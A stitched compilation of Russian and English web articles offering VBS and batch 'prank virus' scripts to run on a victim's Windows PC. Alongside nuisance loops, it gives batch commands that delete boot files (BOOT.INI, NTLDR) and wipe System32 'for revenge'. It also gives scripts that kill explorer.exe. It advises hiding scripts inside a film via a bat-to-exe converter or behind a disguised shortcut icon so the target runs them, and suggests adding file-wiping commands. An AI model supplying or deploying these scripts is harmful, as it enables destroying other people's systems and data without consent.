Шутки с использованием vbs-скриптов. Можно подшутить над другом или коллегами на работе.
Для того, чтобы активировать скрипт с приколом нужно следующее: открыть блокнот, скопировать vbs-скрипт, который находится ниже, далее вставить этот скрипт в блокнот и сохранить с расширением *.vbs, а после запустить на компе жертвы.
Пугалка №1.
На экране появляются сообщения о том, что система заражена, появляется много командных строк, калькуляторы, блокноты и другое.
on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 msgbox"Неполадка системы",16,"Error" msgbox"Вы заражены вирусом",48,"Windows" msgbox"Необходим перезапуск системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help"
Пугалка №2. Мигающая клавиатура
На клавиатуре мигают лампочки, а так же имитируется нажатие клавиш CapsLock, NumLock, ScrollLock, в результате чего написанный текст принимает вид: ТаКоЙ ТеКсТ
Set s = CreateObject("Wscript.Shell") do wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 loop
Пугалка №3.
Открывается блокнот и пишется текст
on error resume next set t=createobject("Wscript.Shell") Set s = CreateObject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 t.run"notepad" wscript.sleep 580 s.sendkeys"+{х}" wscript.sleep 80 s.sendkeys"{о}" wscript.sleep 80 s.sendkeys"{ч}" wscript.sleep 80 s.sendkeys"{е}" wscript.sleep 80 s.sendkeys"{ш}" wscript.sleep 80 s.sendkeys"{ь}" wscript.sleep 80 s.sendkeys"{ }" wscript.sleep 80 s.sendkeys"+{н}" wscript.sleep 80 s.sendkeys"{а}" wscript.sleep 80 s.sendkeys"{у}" wscript.sleep 80 s.sendkeys"{ч}" wscript.sleep 80 s.sendkeys"{у}" wscript.sleep 888 s.sendkeys"%{f4}" wscript.sleep 80 s.sendkeys"{RIGHT}" wscript.sleep 80 s.sendkeys"{enter}" msgbox"Страшно было xD",16,"Шутка" t.run"explorer.exe"
Самые удивительные команды в блокноте,которые вы должны попробовать
Protect YourselfМожно буквально уничтожить чей-то компьютер с помощью блокнота, а также решить большие проблемы с помощью блокнота. Хорошо, блокнот не делает все, что я сказал сам по себе, но все же. Это платформа, на которой можно написать исходный код, который затем можно скомпилировать и прочее. Таким образом, изучение нескольких небольших приемов с блокнотом не повредит нашим шансам похвастаться или, возможно, получить другое представление о том, что блокнот действительно может сделать.
ВАЖНО:Если я случайно написал где-то тире вместо минуса в коде,то поменяйте на минус.Вам выдаст ошибку при запуске и номер строки,где находиться данная ошибка.Но вроде все в порядке.Так что просто копируйте!
ВАЖНО:Чтобы отключить скрипт необходимо в процессах (вкладка в диспетчере задач) завершить wscript.exe
Псс друг, у нас есть чатик, ты не забыл?:), ждём тебя там Protect Yourself Chat
Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:
1. Постоянно выдвигайте CD-привод с помощью блокнота
Тебе не кажется, что было бы весело, если бы ты мог играть со своим другом, снова и снова заставляя его CD-привод? Просто введите текст ниже в блокнот и сохраните его в виде файла .vbs . Дважды щелкните файл .vbs, чтобы увидеть его работу.
Set oWMP = CreateObject(«WMPlayer.OCX.7»)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count — 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count — 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
2. Завершение работы компьютера с помощью блокнота
Представьте, что вместо того, чтобы нажимать кнопку «Пуск», затем кнопку «Завершение работы» и затем кнопку «ОК», вы можете просто дважды щелкнуть значок, чтобы выключить систему. Код трюка Блокнота, написанный ниже, делает именно это. Просто сохраните файл как файл .vbs и нажмите его, когда вам нужно завершить работу системы.
@echo off
msg * System will now shut down
shutdown -c “Bye!” -s
3. Постоянно открывайте Блокнот на компьютере вашего друга
Еще один трюк с блокнотом, чтобы поиграть с системой вашего друга, состоит в том, чтобы запустить команду, которая будет периодически открывать его / ее блокнот.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
4. Сделать личный журнал или дневник
Специальная функция, которая позволяет нам сделать журнал, существует в блокноте. Используя его, мы можем создавать журналы вещей, так как блокнот будет указывать дату и время для нас всякий раз, когда мы открываем определенный тип файла журнала. Для этого просто введите « .LOG » в блокноте и сохраните его под любым именем. Теперь, когда бы вы ни открывали этот конкретный файл, вы увидите, что блокнот автоматически вводит дату и время его открытия, а затем вы можете сделать запись в журнале и сохранить журнал.
5. Матричный эффект
Теперь мы обсудим трюк с Блокнотом, который может превратить нашу командную строку в нечто, похожее на то, что оно только что вышло из фильма матрицы, или, может быть, что-то похожее на что-то прямо из системы хакера. Для этого все, что вам нужно сделать, это вставить следующий код в блокноте
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.
Небольшая настройка для настройки этого крутого эффекта заключается в том, что вы можете изменить значение перед цветом, то есть 02 в цвете 02, на любое другое значение, например, например, на 03; это изменит цвет текста, который появляется в командной строке.
6. Несколько раз переключите Capslock, используя Блокнот
Вы можете играть с чьим-то компьютером или, возможно, с вашим собственным компьютером, написав скрипт, который может неоднократно переключать Caps Lock.
Просто скопируйте и вставьте код, записанный ниже, в блокнот.
Set wshShell =wscript.CreateObject(«WScript.Shell»)
do
wscript.sleep 100
wshshell.sendkeys «{CAPSLOCK}»
loop
Теперь сохраните его как файл .vbs и используйте его, чтобы увидеть магию.
7. печатать медленно
Это трюк, который заставит текст печататься медленно, попробуйте, просто скопируйте и вставьте текст ниже в блокнот и сохраните его как файл .vbs .
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.Run «notepad»
WScript.Sleep 100
WshShell.AppActivate «Notepad»
WScript.Sleep 500
WshShell.SendKeys «Hel»
WScript.Sleep 500
WshShell.SendKeys «lo »
WScript.Sleep 500
WshShell.SendKeys «, ho»
WScript.Sleep 500
WshShell.SendKeys «wa»
WScript.Sleep 500
WshShell.SendKeys «re «
WScript.Sleep 500
WshShell.SendKeys «you»
WScript.Sleep 500
WshShell.SendKeys «? «
WScript.Sleep 500
WshShell.SendKeys «I a»
WScript.Sleep 500
WshShell.SendKeys «mg»
WScript.Sleep 500
WshShell.SendKeys «ood»
WScript.Sleep 500
WshShell.SendKeys » th»
WScript.Sleep 500
WshShell.SendKeys «ank»
WScript.Sleep 500
WshShell.SendKeys «s! «
8. Преобразование текста в речь с помощью блокнота.
Просто скопируйте и вставьте код внизу в блокнот и сохраните как файл .vbs . Когда вы играете в нее, вы получите диалоговое окно с вопросом, что вы хотите сказать компьютеру. Повеселись.
Dim message, sapi
message=InputBox(«What do you want me to say?», «Speak to Me»)
Set sapi=CreateObject(«sapi.spvoice»)
sapi.Speak message
9. Удаление загрузочных файлов с помощью блокнота
Один из способов уничтожить компьютер — удалить файлы, которые помогают ему запустить компьютер. Хотя это не рекомендуется, это код, который имеет право сделать это.
@ECHO OFF
ATTRIB -R -S -HC:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -HC:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -HC:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -HC:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.
Это выключит компьютер и удалит файлы, необходимые для приведения компьютера в нормальное состояние.
Не пытайтесь делать это на вашем компьютере до тех пор, пока вы не захотите потерять все свои данные.
10. Удаление файлов System32 с помощью блокнота
Хотите отомстить кому-то? Просто используйте этот код, сохраните его как файл .bat и посмотрите, что он делает с системой этого человека. Это удалит все файлы System32, необходимые для работы системы в порядке.
Просто вставьте следующее в блокнот и сохраните его как файл .bat.
DEL C:\WINDOWS\SYSTEM32\*.*/Q
11. Хит Enter непрерывно
Что, если мы хотим, чтобы функция нашей кнопки ввода повторялась снова и снова, лучше, чем нажимать ее снова и снова, — использовать приведенный ниже код
Set wshShell = wscript.CreateObject(«WScript.Shell»)
do
wscript.sleep 100
wshshell.sendkeys «~(enter)»
loop
Сохраните его как файл .vbs и посмотрите его волшебство
12. Набирать что-то снова и снова
Код для ввода чего-либо снова и снова упоминается ниже, вы можете использовать его для записи чего-либо снова и снова и снова, пока не выйдете из цикла.
Set wshShell = wscript.CreateObject(«WScript.Shell»)
do
wscript.sleep 100
wshshell.sendkeys «I’ll be typed again and again»
loop
сохраните его как файл .vbs, чтобы он работал.
13. Краш компьютера
Выводит на экран сообщение о том что система заражена и просит перезагрузить компьютер, а затем включает много командных строк, калькуляторы, блокноты и многое другое.
Скрипт:
on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 msgbox"Неполадка системы",16,"Error" msgbox"Вы заражены вирусом",48,"Windows" msgbox"Необходим перезапуск системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help"
14. Бесконечно пищащий системный динамик
vbs скрипт заставляет бесконечно пищать системный динамик в процессоре компьютера
Скрипт:
Set S = CreateObject("Wscript.Shell") do execute"S.Run ""%comspec% /c "" & Chr(7), 0,True" loop
15. Бесконечно жужжащий разъем для дискет
Действие:
Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.
Скрипт:
Set WSHShell=WScript.CreateObject("WScript.Shell") Sub Zapadlo(Fuck,Wait) Set WshShell=WScript.CreateObject("WScript.Shell") C=WshShell.Run(Fuck,Wait) End Sub do Call Zapadlo("A:\",true) loop
Думаю вы знаете,как можно их применить на практике.Самое просто-это
собрать в Bat to exe convert единый файл.К примеру вставить любой скрипт
в какой нибудь фильм и запустить.Будет очень интересно смотреть на реакцию обычного юзера.
Источник
WINDOWS
Pranking friends and colleagues can be fun, especially when it involves harmless and entertaining uses of technology. One entertaining method is to create prank command-prompt (CMD) scripts. These scripts are stored in a plain text file with a .bat
extension that runs in the Windows command prompt. In this article, we will explore ten amusing prank batch scripts that can bring laughter without causing harm. However, you should always ensure that your pranks are in good spirit and that the target is someone who will appreciate the joke.
Important Note
Before diving into these scripts, it’s crucial to remember that pranking should always be lighthearted. Be sure to inform the person once the joke has been revealed to avoid any misunderstandings. These scripts may cause confusion or disrupt normal activity, so ensure they do not interfere with critical tasks or systems.
Prank Script 1: Endless Message Box Loop
This script will create an endless loop of message boxes that will keep popping up until the program is forcefully terminated.
@echo off
:loop
msg * "You have been pranked!"
goto loop
How to Use:
-
Save the above code in a text file and name it
prank1.bat
. -
When executed, it will generate continuous message boxes with the prank message.
Prank Script 2: Fake Virus Warning
This script simulates a fake virus alert which can be amusing yet harmless.
@echo off
color 0c
echo WARNING: Virus Detected!
echo Press any key to remove it.
pause > nul
echo Virus successfully removed.
How to Use:
-
Save it as
prank2.bat
and run it. -
It will display a red warning message, creating a moment of alarm.
Prank Script 3: Infinite Command Prompt Opening
Create an endless loop where the command prompt keeps reopening itself.
@echo off
:loop
start cmd
goto loop
How to Use:
-
Save as
prank3.bat
. -
Execute this script, and the command prompt windows will proliferate rapidly.
Prank Script 4: A Fun “Your PC is Failing” Message
This practical joke shows alarming system failure messages.
@echo off
echo Your system is about to crash! Just kidding!
pause
How to Use:
-
Save it as
prank4.bat
. -
The user will see a message warning them of a system failure, only for it to reveal a playful joke.
Prank Script 5: Keyboard Prank
This script swaps the keyboard functionality, making seemingly random characters appear when typed.
@echo off
setlocal enabledelayedexpansion
echo Ready to prank your keyboard!
time <nul set /p =: Pranking in 5 seconds...
timeout /t 5
:loop
set /p input=Type something:
echo %input%
goto loop
How to Use:
-
Save as
prank5.bat
. -
Be prepared, as this will repeatedly prompt the user to type something, leading to a confusing experience.
Prank Script 6: System Shutdown Countdown
This script will create a fake shutdown countdown, alarming the user.
@echo off
echo System will shut down in 10 seconds...
ping 127.0.0.1 -n 10 > nul
echo Shutdown aborted!
pause
How to Use:
-
Save it as
prank6.bat
. -
It simulates a countdown and gives a relief message at the end.
Prank Script 7: The “You’re in Trouble” Message
A simple message that incites false anxiety.
@echo off
color 0a
echo ERROR: You have been found guilty of being too funny!
pause
How to Use:
-
Save as
prank7.bat
. -
This creates a humorous situation, especially among friends who enjoy joking around.
Prank Script 8: Constant Beeping Sound
Use this script to create an annoying beep sound every second.
@echo off
:loop
echo ^G
timeout /t 1 > nul
goto loop
(Note: To create the beep, you need to press CTRL + G
)
How to Use:
-
Save as
prank8.bat
. -
Run it, and it will create an incessant beeping sound.
Prank Script 9: Fake Blue Screen of Death
Simulating a Blue Screen of Death can induce initial panic but has a harmless conclusion.
@echo off
cls
echo A problem has been detected and Windows has been shut down to prevent damage.
echo If this is the first time you've seen this Stop error screen, restart your computer.
pause
How to Use:
-
Save as
prank9.bat
. -
A fabricated BSOD can catch anyone off guard momentarily.
Prank Script 10: Randomized Windows Explorer Opening
This script opens numerous Windows Explorer windows.
@echo off
:loop
start explorer
goto loop
How to Use:
-
Save it as
prank10.bat
and run it. Windows Explorer will flood the screen until terminated.
Conclusion
Using prank command-prompt scripts can be a lighthearted way to enjoy technology with friends. Always remember to consider your audience when staging a prank, ensuring that everyone has a good laugh without any harm or distress caused. Have fun, and most importantly, make sure all pranks are executed in the spirit of good humor!
Suggested Articles
WINDOWS
WINDOWS
WINDOWS
WINDOWS
WINDOWS
WINDOWS
VBScript, or Visual Basic Scripting, is a scripting language developed by Microsoft primarily for automating tasks and configuring system settings on Windows. However, its simplicity and ease of use have also made it a popular choice for harmless pranks and jokes among friends. In this blog post, we’ll explore ten entertaining VBScript pranks that you can use to surprise and amuse your friends. But remember, with great power comes great responsibility – always use these pranks with caution and ensure that they don’t cause any harm or inconvenience to anyone.
To execute these Virus, follow these steps:
- Open Notepad on your computer.
- Copy and paste the above code into Notepad.
- Save the file with a “.vbs” extension (e.g., “fakevirus.vbs”).
- Double-click the saved file to run the script.
- Fake Virus Prank:
MsgBox "Your computer has been infected with a virus. Please contact technical support immediately.", vbCritical, "Virus Alert"
This simple script displays a fake virus alert message box on the victim’s computer, causing panic and confusion. Of course, assure them afterward that it was just a harmless prank!
- Endless Error Messages:
Do MsgBox "Error: Unable to locate file.", vbCritical, "Error" Loop
This script creates an infinite loop of error message boxes, making it seem like the computer is experiencing a catastrophic failure. Your friend will likely be baffled until they realize it’s just a prank.
- Desktop Flip:
Set objShell = CreateObject("Shell.Application") objShell.ToggleDesktop
This script flips the victim’s desktop upside down, leaving them scratching their heads as they try to figure out what just happened. It’s a harmless yet hilarious prank that’s sure to get a good laugh.
- Ghost Typing:
Set WshShell = WScript.CreateObject("WScript.Shell") WScript.Sleep 5000 WshShell.SendKeys "Boo!"
This script waits for a few seconds before typing out “Boo!” on the victim’s computer, making it seem like a ghost is haunting their keyboard. Perfect for spooky pranks or Halloween.
- Fake Blue Screen of Death (BSOD):
MsgBox "A problem has been detected and Windows has been shut down to prevent damage to your computer.", vbCritical, "Blue Screen of Death"
Simulate the infamous Blue Screen of Death with this prank script. Your friend will freak out momentarily before realizing it’s just a harmless joke.
- Endless CD Drive Eject:
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next loop
This script continuously ejects the CD drive tray on the victim’s computer, leading to frustration and confusion as they try to figure out what’s causing it.
- Random Mouse Movements:
Set WshShell = CreateObject("WScript.Shell") Do WshShell.SendKeys "{UP}" WshShell.SendKeys "{DOWN}" WshShell.SendKeys "{LEFT}" WshShell.SendKeys "{RIGHT}" Loop
Keep your friend on their toes with this script that generates random mouse movements, causing their cursor to dart around the screen unpredictably.
- Caps Lock Madness:
Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop
Toggle the Caps Lock on and off repeatedly, driving your friend crazy as they try to type normally but find that everything is in capital letters.
- Infinite Looping Sound:
Set oVoice = CreateObject("SAPI.SpVoice") do oVoice.Speak "I'm stuck in an infinite loop!" loop
This script endlessly repeats a spoken message through the computer’s speakers, creating a maddening audio loop that’s sure to annoy your friend.
- Desktop Chaos:
Set objShell = WScript.CreateObject("WScript.Shell") do objShell.SendKeys "{UP}" objShell.SendKeys "{DOWN}" objShell.SendKeys "{LEFT}" objShell.SendKeys "{RIGHT}" objShell.SendKeys "{F11}" loop
Combine random mouse movements with toggling the fullscreen mode, creating utter chaos on your friend’s desktop as windows resize and shuffle around unpredictably.
Conclusion:
VBScript may be a powerful tool for system administrators and developers, but it can also be a source of harmless fun and amusement among friends. The ten pranks listed above are just a sampling of the countless possibilities for mischief that VBScript enables. However, it’s essential to use these pranks responsibly and ensure that they don’t cause any harm or inconvenience to others. After all, the best pranks are the ones that leave everyone laughing in the end. So go ahead, unleash your inner prankster, and enjoy some harmless fun with VBScript!
Загрузить PDF
Загрузить PDF
Вирусы-шутки — это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые замедляют работу компьютера, выводят из строя работу операционной системы или просто пугают пользователя, а затем заставить его запустить этот файл. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее, что они могут сделать, — это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для компьютеров под управлением Windows, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.
-
Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор — достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.
-
По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимой для «жертвы».
-
Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:
- Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы). Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
- iexplore.exe — браузер Interent Explorer
- calc.exe — Калькулятор
- notepad.exe — Блокнот
- winword.exe — Microsoft Word
- Чтобы открыть бесконечное количество окон, сначала с новой строки наберите :A, включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A. Эта последовательность команд заставит компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.
- Чтобы открыть определенное количество окон, с новой строки наберите в Блокноте следующую команду: start (название программы). Вместо фразы в скобках введите название программы на компьютере «жертвы» или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:
-
Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его компьютером что-то не так. Чтобы отобразить сообщение, начните новую строку и наберите echo Ваше сообщение. Затем с новой строки наберите pause. Команда «pause» остановит выполнение «вируса» после появления сообщения.
- Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Фатальная ошибка. C:// каталог поврежден.
-
Когда закончите, в меню Блокнота выберите Файл > Сохранить как…, а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» выберите «Все файлы». Сохраните файл где нибудь на компьютере «жертвы».
-
Чтобы ваша шутка сработала, нужно сделать так, чтобы «жертва» запустила ее. Этого можно добиться разными способами. Один из самых работающих — создать ярлык для своего пакетного файла и изменить его иконку на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!
Реклама
-
Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другим — вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его в работе операционной системы произошла ошибка или что компьютер был взломан.
-
2
Наберите «x=msgbox(«Текст сообщения», 5+16, «Заголовок сообщения») точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка «Ошибка терминала», а в качестве сообщения — «В каталоге C://Users/Windows/system32 обнаружена критическая неисправность».
- Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
- Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:
- 0 (Кнопка OK)
- 1 (Кнопки OK и Отмена)
- 2 (Кнопки Отмена, Повтор и Пропустить)
- 3 (Кнопки Да, Нет, и Отмена)
- 4 (Кнопки Да и Нет)
- 5 (Кнопки Повтор и Отмена)
- 16 (Иконка критической ошибки)
- 32 (Иконка помощи)
- 48 (Иконка предупреждения)
- 64 (Иконка информации)
-
Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение, откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.
-
Когда вы введете все желаемые сообщения, сохраните файл. В меню Блокнота выберите Файл > Сохранить как…, дайте своему файлу имя с расширением «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить «жертву» запустить этот файл, например используя трюк из метода 1.
Реклама
-
Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это сработает не на всех компьютерах.
-
@echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin
-
Этот код случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.
- Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем как перемещать вирус-шутку на компьютер «жертвы».
- Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:\Program Files\Internet Explorer».
-
Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.
- Чтобы было веселей, попробуйте заменить в одной из команд ‘*.exe’ на полный путь к какому-либо документу пользователя. Например, ‘start C:\Документы\123.doc’ откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
edit (полное имя файла)
goto begin
откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!
- Чтобы было веселей, попробуйте заменить в одной из команд ‘*.exe’ на полный путь к какому-либо документу пользователя. Например, ‘start C:\Документы\123.doc’ откроет документ 123.doc из папки «Документы» в редакторе по умолчанию, а
-
Даже если вы не понимаете, как они работают, вирусы-шутки могут быть хорошим развлечением. Но вам будет еще веселей, если вы будете понимать, что происходит при их запуске, и когда вы разберетесь, как работают эти «вирусы», вы сможете писать свои собственные! Вот список команд, используемых в этой статье, а также их краткое описание:
- @echo off — отключить вывод команд.
- cls — очистить экран командной строки. Командная строка будет выглядеть аккуратней.
- goto A — перейти на метку А.
- %random% — переменная Windows, генерирующая случайные числа от 0 до 9 (включительно).
- :(число, буква или слово) — метка. На нее можно переходить с помощью команды «goto».
- На заметку: в примере выше у нас 10 меток. Если мы пропустим одно число, программа закроется, если %random% сгенерирует это число.
Реклама
Советы
- Вот образец одной из самых надоедливых программ и ее код:
@echo off
:a
start notepad
goto aВсе, что она делает — открывает Блокнот бесконечное количество раз до тех пор, пока пользователь не закроет окно командной строки. Не запускайте ее на компьютере без присмотра — это может плохо закончиться.
Это упрощенный вариант метода 1, рассмотренного выше.
- Экспериментируйте с разными командами! Если вы хотите сделать шутку зловредной, примените команду, которая удаляет файлы или стирает данные с жесткого диска.
Реклама
Предупреждения
- У вас могут быть проблемы с использованием вредоносных пакетных файлов или порчей школьных или общественных компьютеров. Непредусмотренная отправка таких файлов через интернет или запись их в общественные системы запрещена.
- Не перестарайтесь. 10 копий чего-то вроде Пинбола очень раздражают. Сотни копий могут привести к зависанию компьютера и лишить кое-кого работы.
Реклама
Что вам понадобится
- Компьютер с ОС Windows
- Блокнот
- Любое программируемое приложение
Об этой статье
Эту страницу просматривали 713 454 раза.